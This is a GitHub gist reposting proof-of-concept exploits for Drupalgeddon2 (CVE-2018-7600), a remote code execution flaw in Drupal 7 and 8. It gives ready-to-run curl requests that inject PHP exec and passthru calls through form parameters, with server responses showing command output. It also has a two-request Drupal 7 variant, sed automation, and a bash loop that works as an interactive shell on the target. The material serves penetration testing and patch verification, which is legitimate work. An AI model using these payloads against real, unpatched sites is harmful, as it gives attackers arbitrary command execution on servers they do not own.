Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save icasimpan/e4b2117fa3456f0463357f7eaf196b1b to your computer and use it in GitHub Desktop.
Save icasimpan/e4b2117fa3456f0463357f7eaf196b1b to your computer and use it in GitHub Desktop.
drupalgeddon2 / SA-CORE-2018-002 / CVE-2018-7600 cURL (PoC)

CVE-2018-7600 | Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' RCE (SA-CORE-2018-002)

Source: https://gist.github.com/g0tmi1k/7476eec3f32278adc07039c3e5473708

Improved (Ruby) exploit ~ http://github.com/dreadlocked/Drupalgeddon2/ // https://www.exploit-db.com/exploits/44449/


Drupal v8.x

Tested on Drupal v8.4.5 / v8.5.0

Thanks to:


PoC #1 - #post_render / account/mail / exec

  • It uses the user/register URL, #post_render parameter, targeting account/mail, using PHP's exec function.
  curl -k -i 'http://localhost/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' \
    --data 'form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=exec&mail[a][#type]=markup&mail[a][#markup]=uname -a'

The server will give 200 response & display JSON. It IS able to render the output in the response (such as doing uname -a).

Example

[g0tmi1k@attacker]$ curl -k -i 'http://localhost/drupal-8.4.5/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' \
  --data 'form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=exec&mail[a][#type]=markup&mail[a][#markup]=uname -a'
HTTP/1.1 200 OK
Date: Wed, 18 Apr 2018 15:56:29 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.24
Cache-Control: must-revalidate, no-cache, private
X-UA-Compatible: IE=edge
Content-language: en
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Expires: Sun, 19 Nov 1978 05:00:00 GMT
X-Generator: Drupal 8 (https://www.drupal.org)
X-Drupal-Ajax-Token: 1
Content-Length: 280
Content-Type: application/json

[{"command":"insert","method":"replaceWith","selector":null,"data":"Linux ubuntu140045x64-drupal 3.13.0-144-generic #193-Ubuntu SMP Thu Mar 15 17:03:53 UTC 2018 x86_64 x86_64 x86_64 GNU\/Linux\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C\/span\u003E","settings":null}]
[g0tmi1k@attacker]$

PoC #2 - #lazy_builder / timezone/timezone / exec

  • It uses the user/register URL, #lazy_builder parameter, targeting timezone/timezone, using PHP's exec function.
  curl -k -i 'http://localhost/user/register?element_parents=timezone/timezone/%23value&ajax_form=1&_wrapper_format=drupal_ajax' \
    --data 'form_id=user_register_form&_drupal_ajax=1&timezone[a][#lazy_builder][]=exec&timezone[a][#lazy_builder][][]=touch+/tmp/2'

The server will give 500 response & display "The website encountered an unexpected error. Please try again later". It is NOT able to render the output in the response (Blind!).

Example

[g0tmi1k@attacker]$ curl -k -i 'http://localhost/drupal-8.4.5/user/register?element_parents=timezone/timezone/%23value&ajax_form=1&_wrapper_format=drupal_ajax' \
    --data 'form_id=user_register_form&_drupal_ajax=1&timezone[a][#lazy_builder][]=exec&timezone[a][#lazy_builder][][]=touch+/tmp/2'
HTTP/1.0 500 500 Service unavailable (with message)
Date: Wed, 18 Apr 2018 15:58:04 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.24
Cache-Control: no-cache, private
Content-Length: 74
Connection: close
Content-Type: text/html

The website encountered an unexpected error. Please try again later.<br />
[g0tmi1k@attacker]$




root@ubuntu140045x64-drupal:~# stat /tmp/2
  File: '/tmp/2'
  Size: 0         	Blocks: 0          IO Block: 4096   regular empty file
Device: fd01h/64769d	Inode: 59488       Links: 1
Access: (0644/-rw-r--r--)  Uid: (   33/www-data)   Gid: (   33/www-data)
Access: 2018-04-18 15:58:05.061898957 +0000
Modify: 2018-04-18 15:58:05.061898957 +0000
Change: 2018-04-18 15:58:05.061898957 +0000
 Birth: -
root@ubuntu140045x64-drupal:~#

Drupal v7.x

Tested on Drupal v7.55 / v7.57

This is a different when compared to v8.x, as you need to make two requests in order to exploit

Thanks to:

PoC #3 - #post_render / user/password / passthru

  • It uses #post_render & name parameters, targeting user/password request, using PHP's passthru function.

We need to get the value from form_build_id:

  curl -k -s 'http://localhost/drupal-7.55/?q=user/password&name\[%23post_render\]\[\]=passthru&name\[%23type\]=markup&name\[%23markup\]=uname+-a' \
    --data "form_id=user_pass&_triggering_element_name=name" | grep form_build_id

NOTE: This time you need to URL encode (e.g. Spaces ~ -> +)_

Afterwards, make a new request, using the value from above as such:

  curl -k -i "http://localhost/drupal-7.55/?q=file/ajax/name/%23value/${form_build_id}" \
    --data "form_build_id=${form_build_id}"

Example

[g0tmi1k@attacker]$ curl -k -s 'http://localhost/drupal-7.55/?q=user/password&name\[%23post_render\]\[\]=passthru&name\[%23type\]=markup&name\[%23markup\]=uname+-a' \
    --data "form_id=user_pass&_triggering_element_name=name" | grep form_build_id
<input type="hidden" name="form_build_id" value="form-r55m87T9afnEo-eEePGipGpHTkjPFBgUCnytk_Zuc4I" />
[g0tmi1k@attacker]$
[g0tmi1k@attacker]$ form_build_id=form-r55m87T9afnEo-eEePGipGpHTkjPFBgUCnytk_Zuc4I
[g0tmi1k@attacker]$
[g0tmi1k@attacker]$ curl -k -i "http://localhost/drupal-7.55/?q=file/ajax/name/%23value/${form_build_id}" \
    --data "form_build_id=${form_build_id}"
HTTP/1.1 200 OK
Date: Wed, 18 Apr 2018 16:26:15 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.24
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
X-Content-Type-Options: nosniff
X-Drupal-Ajax-Token: 1
Set-Cookie: SESS8233de9b9c6a45efe3fd08080d4d6479=w51ZcYf67YNjEpVr0g5Smzzjx_vmSURbNdXHl4fKUj4; expires=Fri, 11-May-2018 19:59:35 GMT; Max-Age=2000000; path=/; HttpOnly
Content-Length: 537
Connection: close
Content-Type: application/json; charset=utf-8

Linux ubuntu140045x64-drupal 3.13.0-144-generic #193-Ubuntu SMP Thu Mar 15 17:03:53 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
[{"command":"settings","settings":{"basePath":"\/drupal-7.55\/","pathPrefix":"","ajaxPageState":{"theme":"bartik","theme_token":"_YUWCY69tMlrR-TCiD_jZ-NazJKUHeTo1Om8T4EJ_YQ"}},"merge":true},{"command":"insert","method":"replaceWith","selector":null,"data":"","settings":{"basePath":"\/drupal-7.55\/","pathPrefix":"","ajaxPageState":{"theme":"bartik","theme_token":"_YUWCY69tMlrR-TCiD_jZ-NazJKUHeTo1Om8T4EJ_YQ"}}}]
[g0tmi1k@attacker]$

Bash Fu/Automation

We can automate this a little more by using sed to exact the value, as shown below:

form_build_id=$( curl -k -s 'http://localhost/drupal-7.55/?q=user/password&name\[%23post_render\]\[\]=passthru&name\[%23type\]=markup&name\[%23markup\]=uname+-a' \
    --data "form_id=user_pass&_triggering_element_name=name" | grep form_build_id | sed -E 's/.*name="form_build_id" value="(.*)".*/\1/' )

curl -k -i "http://localhost/drupal-7.55/?q=file/ajax/name/%23value/${form_build_id}" \
    --data "form_build_id=${form_build_id}"

Bash Scripting

We can make a very basic exploit (for Drupal v8) as show:

[g0tmi1k@attacker]$ cat exploit.sh
#!/bin/sh

# Forever loop
while True; do
  # Get input
  read -p 'drupalgeddon2>>: ' command

  # Make request
  curl -k 'http://localhost/drupal-8.4.5/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' \
    --data "form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=exec&mail[a][#type]=markup&mail[a][#markup]=${command}"

  # New line (the response doesn't have one)
  echo
done
[g0tmi1k@attacker]$
[g0tmi1k@attacker]$ sh exploit.sh
drupalgeddon2>>: id
[{"command":"insert","method":"replaceWith","selector":null,"data":"uid=33(www-data) gid=33(www-data) groups=33(www-data)\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C\/span\u003E","settings":null}]
drupalgeddon2>>: uname -a
[{"command":"insert","method":"replaceWith","selector":null,"data":"Linux ubuntu140045x64-drupal 3.13.0-144-generic #193-Ubuntu SMP Thu Mar 15 17:03:53 UTC 2018 x86_64 x86_64 x86_64 GNU\/Linux\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C\/span\u003E","settings":null}]
drupalgeddon2>>: ^C
[g0tmi1k@attacker]$

Proxy

Pro Tip!

If you wish to send the traffic of cURl through a proxy (such as Burp), run the following command:

[g0tmi1k@attacker]$ export http_proxy=http://127.0.0.1:8080
[g0tmi1k@attacker]$
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment